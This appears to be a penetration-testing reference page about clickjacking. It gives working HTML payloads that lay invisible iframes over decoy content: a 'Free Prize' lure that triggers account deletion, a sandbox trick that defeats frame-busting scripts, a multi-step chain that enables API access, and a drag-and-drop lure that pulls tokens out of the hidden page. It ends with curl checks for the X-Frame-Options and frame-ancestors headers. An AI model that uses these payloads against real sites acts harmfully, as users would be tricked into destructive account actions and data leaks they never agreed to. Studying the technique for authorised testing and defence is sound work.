# Clickjacking

> Exploiting UI redress attacks by overlaying transparent iframes to hijack user clicks, steal credentials, or trigger unauthorized actions on vulnerable web applications.

- **URL:** https://hackindex.io/services/web/exploitation/clickjacking
- **Path:** HTTP/HTTPS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/web/exploitation.md)
- **Published:** 2026-09-13
- **Updated:** 2026-09-13

Clickjacking is a UI redress attack that tricks users into clicking hidden elements on a transparent page layered over attacker-controlled content. The target application is loaded in an invisible iframe positioned so that a button or link the attacker wants clicked sits directly under a visible, enticing element on the attacker's page. When the victim clicks what they see, they actually interact with the hidden target page. This enables account changes, fund transfers, and permission grants without the victim's knowledge. The attack works when the target application can be framed and lacks proper anti-clickjacking headers. Framing protection is set through `X-Frame-Options` and the `frame-ancestors` CSP directive, both covered in [CSP analysis](https://hackindex.io/services/web/vulnerability-discovery/csp-check). For related UI-based attacks, see [CSRF exploitation](https://hackindex.io/services/web/exploitation/csrf-exploitation).

## Testing for Clickjacking

The first step is checking whether the target can be loaded in an iframe. Inspect the response headers for `X-Frame-Options` and the `Content-Security-Policy` `frame-ancestors` directive.

```bash
curl -sI "http://$TARGET_IP:$PORT/" | grep -iE "x-frame-options|content-security-policy"
```

If the command returns no output, the target has no framing protection and is likely vulnerable. When headers are present, check the values:

- `X-Frame-Options: DENY` prevents all framing.
- `X-Frame-Options: SAMEORIGIN` allows framing only from the same origin.
- `Content-Security-Policy: frame-ancestors 'none'` is the modern equivalent of DENY.
- `Content-Security-Policy: frame-ancestors 'self'` is the modern equivalent of SAMEORIGIN.

If neither header is present, the page can be framed from any origin. Confirm by loading the target in an iframe:

```html
<html>
<head><title>Clickjack Test</title></head>
<body>
<iframe src="http://$TARGET_IP:$PORT/" width="800" height="600"></iframe>
<p>If the page loads above, it can be framed.</p>
</body>
</html>
```

Save this as an HTML file, open it in a browser, and check if the target page renders inside the iframe. If it does, the target is vulnerable to clickjacking.

## Basic Clickjacking

The core technique positions a transparent iframe over attacker content so the victim clicks the target page's button instead of the visible decoy.

```html
<html>
<head>
<title>Free Prize</title>
<style>
  #target {
    position: relative;
    width: 800px;
    height: 600px;
    opacity: 0.0001;
    z-index: 2;
  }
  #decoy {
    position: absolute;
    top: 450px;
    left: 60px;
    z-index: 1;
  }
</style>
</head>
<body>
<div id="decoy">
  <h2>Click here to claim your prize!</h2>
  <button style="padding: 20px; font-size: 24px;">CLAIM NOW</button>
</div>
<iframe id="target" src="http://$TARGET_IP:$PORT/settings/delete-account"></iframe>
</body>
</html>
```

The iframe is nearly invisible (`opacity: 0.0001`). The decoy button is positioned under the target page's "Delete Account" button. When the victim clicks "CLAIM NOW", they actually click the delete button in the hidden iframe. Adjust the `top` and `left` values to align the decoy with the target element.

> [!TIP]
> Set `opacity: 0.5` during development to visually align the target element with the decoy button. Switch to `0.0001` for the final payload.

## Frame-Busting Bypass

Some applications use JavaScript-based frame busters to prevent framing. A common pattern is `if (top !== self) { top.location = self.location; }`, which redirects the parent page to the framed page. The `sandbox` attribute on an iframe restricts JavaScript execution inside it, effectively disabling these frame busters.

```html
<iframe src="http://$TARGET_IP:$PORT/" sandbox="allow-forms" width="800" height="600" style="opacity: 0.0001;"></iframe>
```

The `sandbox` attribute without `allow-scripts` prevents JavaScript execution inside the iframe, so any frame-busting script is neutralized. `allow-forms` is needed if the clickjacking target involves form submission. If the target page requires JavaScript to render its content, this approach breaks the page. In that case, look for other bypass techniques:

- Use `sandbox="allow-scripts allow-forms"` with `allow-top-navigation-by-user-activation` omitted to prevent the frame buster from navigating the parent.
- Double framing: load the target in an iframe within an iframe. Some busters only check `top !== self` but not the intermediate frame.
- Some busters use `window.location` instead of `top.location`, which can be overridden.

## Multi-Step Clickjacking

Complex actions that require multiple clicks can be chained. Each click target is presented sequentially, with the decoy content changing between clicks while the iframe stays in position or repositions to the next target element.

```html
<html>
<head><style>
  iframe { position: absolute; width: 800px; height: 600px; opacity: 0.0001; z-index: 2; }
  .step { position: absolute; z-index: 1; display: none; }
  .step.active { display: block; }
</style></head>
<body>
<div class="step active" id="step1" style="top: 300px; left: 100px;">
  <button onclick="nextStep()">Click to continue</button>
</div>
<div class="step" id="step2" style="top: 350px; left: 200px;">
  <button onclick="nextStep()">Confirm your entry</button>
</div>
<iframe src="http://$TARGET_IP:$PORT/account/settings"></iframe>
<script>
var step = 1;
function nextStep() {
  document.getElementById('step' + step).classList.remove('active');
  step++;
  var next = document.getElementById('step' + step);
  if (next) next.classList.add('active');
}
</script>
</body>
</html>
```

Step 1 aligns with "Enable API access" on the target page. Step 2 aligns with "Confirm" on the next dialog. The victim thinks they are navigating a survey but actually clicks through a multi-step action on the target site.

## Clickjacking with Pre-Filled Forms

Combine clickjacking with drag-and-drop or pre-filled form fields to extract data or submit forms with attacker-controlled values. If the target page auto-fills sensitive data (like a CSRF token or email), the attacker can position an invisible text field over visible content and trick the victim into dragging data out.

```html
<html>
<head><style>
  iframe { width: 800px; height: 600px; opacity: 0.0001; position: absolute; z-index: 2; }
  #decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }
</style></head>
<body>
<div id="decoy">
  <h3>Drag the icon to the box to verify you are human</h3>
  <div draggable="true" style="width:50px;height:50px;background:#333;"></div>
  <div style="width:200px;height:50px;border:2px dashed #666;margin-top:10px;"
       ondrop="event.preventDefault();alert(event.dataTransfer.getData('text'));"
       ondragover="event.preventDefault();">Drop here</div>
</div>
<iframe src="http://$TARGET_IP:$PORT/account/profile"></iframe>
</body>
</html>
```

If the target page contains selectable text (like an API key or token), the victim may inadvertently drag content from the invisible iframe into the attacker's drop zone, leaking sensitive data.

## Mitigation Check

During a pentest report, document which defenses are present or missing. The correct defenses are:

- `X-Frame-Options: DENY` blocks all framing. `SAMEORIGIN` allows same-origin framing only. `ALLOW-FROM` is deprecated and not supported by modern browsers.
- `Content-Security-Policy: frame-ancestors 'none'` is the CSP equivalent. CSP takes precedence over X-Frame-Options when both are present.
- `frame-ancestors 'self'` allows same-origin framing. Specific origins can be whitelisted: `frame-ancestors 'self' https://trusted.example.com`.
- X-Frame-Options is supported by all browsers but only accepts DENY and SAMEORIGIN in practice. CSP frame-ancestors is the modern standard and supports more granular control.

Check both headers on the target:

```bash
curl -sI "http://$TARGET_IP:$PORT/" | grep -iE "x-frame-options|frame-ancestors"
```

Some applications set X-Frame-Options on the login page but not on authenticated pages. Check multiple endpoints:

```bash
for path in / /login /account /settings; do echo "=== $path ==="; curl -sI "http://$TARGET_IP:$PORT$path" | grep -iE "x-frame-options|frame-ancestors"; done
```

## References

- [OWASP: Clickjacking](https://owasp.org/www-community/attacks/Clickjacking) - Attack techniques and defense mechanisms.
- [PortSwigger: Clickjacking](https://portswigger.net/web-security/clickjacking) - Practical clickjacking labs and techniques.
- [MDN: X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options) - Header specification and browser support.
- [MDN: CSP frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors) - Modern framing protection directive.
